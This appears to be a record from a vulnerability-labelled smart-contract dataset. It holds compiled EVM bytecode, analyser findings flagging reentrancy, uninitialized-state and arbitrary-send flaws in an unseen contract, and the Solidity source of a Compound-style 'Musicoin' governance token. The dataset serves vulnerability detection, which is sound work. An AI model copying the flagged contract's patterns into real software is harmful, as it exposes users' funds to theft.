b6001600160a01b0389166000908152600260205260409020556116c98161186b565b6116d384836118b5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161171891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117478282611530565b82101561176457505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061178a8a6008546009546118d9565b925092509250600061179a6115c0565b905060008060006117ad8e878787611928565b919e509c509a509598509396509194505050505091939550919395565b600061130583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c9565b6000806118198385611bc8565b9050838110156113055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041a565b60006118756115c0565b9050600061188383836114b1565b306000908152600260205260409020549091506118a0908261180c565b30600090815260026020526040902055505050565b6006546118c290836117ca565b6006556007546118d2908261180c565b6007555050565b60008080806118ed606461062e89896114b1565b90506000611900606461062e8a896114b1565b90506000611918826119128b866117ca565b906117ca565b9992985090965090945050505050565b600080808061193788866114b1565b9050600061194588876114b1565b9050600061195388886114b1565b905060006119658261191286866117ca565b939b939a50919850919650505050505050565b600060208284031215611989578081fd5b813561130581611c67565b6000602082840312156119a5578081fd5b815161130581611c67565b600080604083850312156119c2578081fd5b82356119cd81611c67565b915060208301356119dd81611c67565b809150509250929050565b6000806000606084860312156119fc578081fd5b8335611a0781611c67565b92506020840135611a1781611c67565b929592945050506040919091013590565b60008060408385031215611a3a578182fd5b8235611a4581611c67565b946020939093013593505050565b600060208284031215611a64578081fd5b813561130581611c7c565b600060208284031215611a80578081fd5b815161130581611c7c565b600060208284031215611a9c578081fd5b5035919050565b600080600060608486031215611ab7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611afc57858101830151858201604001528201611ae0565b81811115611b0d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ba75784516001600160a01b031683529383019391830191600101611b82565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bdb57611bdb611c51565b500190565b600082611bfb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c1a57611c1a611c51565b500290565b600082821015611c3157611c31611c51565b500390565b6000600019821415611c4a57611c4a611c51565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461046b57600080fd5b801515811461046b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af621a34c3f054d12fcb74e175a50340457671eb4ed05bac23249cd6fabb635664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,225
0x35747eb4c027ebbf0a7f4e642627afcd7fd8cd7a
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Music { /// @notice EIP-20 token name for this token string public constant name = "Musicoin"; /// @notice EIP-20 token symbol for this token string public constant symbol = "MUSIC"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 2000000000e18; // 2 billion MUSIC /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event that's emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event that's emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Music token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Music::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Music::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Music::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Music::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Music::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Music::delegateBySig: invalid nonce"); require(now <= expiry, "Music::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, ":Music:getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Music::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Music::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Music::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Music::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Music::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Music::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Music::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612867565b60405180910390f35b61015e6004803603610159919081019061214e565b61045c565b60405161016b9190612762565b60405180910390f35b61017c6105ee565b604051610189919061296b565b60405180910390f35b61019a6105fe565b6040516101a7919061277d565b60405180910390f35b6101ca60048036036101c591908101906120ff565b610615565b6040516101d79190612762565b60405180910390f35b6101e86108a7565b6040516101f591906129ca565b60405180910390f35b6102186004803603610213919081019061209a565b6108ac565b6040516102259190612747565b60405180910390f35b6102486004803603610243919081019061209a565b6108df565b005b610264600480360361025f919081019061209a565b6108ec565b6040516102719190612986565b60405180910390f35b610294600480360361028f919081019061209a565b61090f565b6040516102a1919061296b565b60405180910390f35b6102c460048036036102bf919081019061214e565b61097e565b6040516102d19190612a00565b60405180910390f35b6102f460048036036102ef919081019061209a565b610d91565b604051610301919061296b565b60405180910390f35b610312610da9565b60405161031f9190612867565b60405180910390f35b610342600480360361033d919081019061214e565b610de2565b60405161034f9190612762565b60405180910390f35b610372600480360361036d919081019061209a565b610e1f565b60405161037f9190612a00565b60405180910390f35b6103a2600480360361039d919081019061218a565b610f0d565b005b6103be60048036036103b991908101906120c3565b6111b0565b6040516103cb919061296b565b60405180910390f35b6103dc61125c565b6040516103e9919061277d565b60405180910390f35b61040c60048036036104079190810190612213565b611273565b60405161041a9291906129a1565b60405180910390f35b6040518060400160405280600881526020017f4d757369636f696e00000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060268152602001612bd1602691396112cc565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e5565b60405180910390a3600191505092915050565b6b06765c793fa10079d000000081565b60405161060a9061271d565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d785604051806060016040528060268152602001612bd1602691396112cc565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088e57600061077b83836040518060600160405280603e8152602001612bf7603e913961132a565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088491906129e5565b60405180910390a3505b61089987878361139b565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e9338261177c565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b9906128eb565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2f576000915050610d8b565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3157600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8b565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb2576000915050610d8b565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0d576000600283830363ffffffff1681610be857fe5b0482039050610bf5612003565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce557806020015195505050505050610d8b565b86816000015163ffffffff161015610cff57819350610d06565b6001820392505b5050610bc0565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600581526020017f4d5553494300000000000000000000000000000000000000000000000000000081525081565b600080610e0783604051806060016040528060278152602001612c35602791396112cc565b9050610e1433858361139b565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e89576000610f05565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1b9061271d565b60405180910390206040518060400160405280600881526020017f4d757369636f696e00000000000000000000000000000000000000000000000081525080519060200120610f6861193c565b30604051602001610f7c94939291906127dd565b6040516020818303038152906040528051906020012090506000604051610fa290612732565b6040518091039020888888604051602001610fc09493929190612798565b60405160208183030381529060405280519060200120905060008282604051602001610fed9291906126e6565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161102a9493929190612822565b6020604051602081039080840390855afa15801561104c573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf9061290b565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e906128cb565b60405180910390fd5b8742111561119a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111919061294b565b60405180910390fd5b6111a4818b61177c565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126890612732565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113179190612889565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113859190612889565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114029061292b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611472906128ab565b60405180910390fd5b6114f5600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060378152602001612d136037913961132a565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115dc600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060318152602001612cad60319139611949565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a691906129e5565b60405180910390a3611777600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119bf565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119368284836119bf565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119aa9190612889565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0957506000816bffffffffffffffffffffffff16115b15611cb557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b61576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aac576000611b28565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4f8285604051806060016040528060298152602001612c5c6029913961132a565b9050611b5d86848484611cba565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb4576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bff576000611c7b565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca28285604051806060016040528060288152602001612c8560289139611949565b9050611cb085848484611cba565b5050505b5b505050565b6000611cde43604051806060016040528060358152602001612cde60359139611fad565b905060008463ffffffff16118015611d7357508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0e5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f56565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9e929190612a1b565b60405180910390a25050505050565b600064010000000083108290611ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff09190612889565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061204081612b5d565b92915050565b60008135905061205581612b74565b92915050565b60008135905061206a81612b8b565b92915050565b60008135905061207f81612ba2565b92915050565b60008135905061209481612bb9565b92915050565b6000602082840312156120ac57600080fd5b60006120ba84828501612031565b91505092915050565b600080604083850312156120d657600080fd5b60006120e485828601612031565b92505060206120f585828601612031565b9150509250929050565b60008060006060848603121561211457600080fd5b600061212286828701612031565b935050602061213386828701612031565b92505060406121448682870161205b565b9150509250925092565b6000806040838503121561216157600080fd5b600061216f85828601612031565b92505060206121808582860161205b565b9150509250929050565b60008060008060008060c087890312156121a357600080fd5b60006121b189828a01612031565b96505060206121c289828a0161205b565b95505060406121d389828a0161205b565b94505060606121e489828a01612085565b93505060806121f589828a01612046565b92505060a061220689828a01612046565b9150509295509295509295565b6000806040838503121561222657600080fd5b600061223485828601612031565b925050602061224585828601612070565b9150509250929050565b61225881612a76565b82525050565b61226781612a88565b82525050565b61227681612a94565b82525050565b61228d61228882612a94565b612b42565b82525050565b600061229e82612a4f565b6122a88185612a5a565b93506122b8818560208601612b0f565b6122c181612b4c565b840191505092915050565b60006122d782612a44565b6122e18185612a5a565b93506122f1818560208601612b0f565b6122fa81612b4c565b840191505092915050565b6000612312603b83612a5a565b91507f4d757369633a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e7366657220746f20746865207a65726f206164647265737300000000006020830152604082019050919050565b6000612378600283612a6b565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006123b8602383612a5a565b91507f4d757369633a3a64656c656761746542795369673a20696e76616c6964206e6f60008301527f6e636500000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061241e602883612a5a565b91507f3a4d757369633a6765745072696f72566f7465733a206e6f742079657420646560008301527f7465726d696e65640000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612484604383612a6b565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000612510602783612a5a565b91507f4d757369633a3a64656c656761746542795369673a20696e76616c696420736960008301527f676e6174757265000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612576603a83612a6b565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b60006125dc603d83612a5a565b91507f4d757369633a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e736665722066726f6d20746865207a65726f20616464726573730000006020830152604082019050919050565b6000612642602783612a5a565b91507f4d757369633a3a64656c656761746542795369673a207369676e61747572652060008301527f65787069726564000000000000000000000000000000000000000000000000006020830152604082019050919050565b6126a481612abe565b82525050565b6126b381612ac8565b82525050565b6126c281612ad8565b82525050565b6126d181612afd565b82525050565b6126e081612ae5565b82525050565b60006126f18261236b565b91506126fd828561227c565b60208201915061270d828461227c565b6020820191508190509392505050565b600061272882612477565b9150819050919050565b600061273d82612569565b9150819050919050565b600060208201905061275c600083018461224f565b92915050565b6000602082019050612777600083018461225e565b92915050565b6000602082019050612792600083018461226d565b92915050565b60006080820190506127ad600083018761226d565b6127ba602083018661224f565b6127c7604083018561269b565b6127d4606083018461269b565b95945050505050565b60006080820190506127f2600083018761226d565b6127ff602083018661226d565b61280c604083018561269b565b612819606083018461224f565b95945050505050565b6000608082019050612837600083018761226d565b61284460208301866126b9565b612851604083018561226d565b61285e6060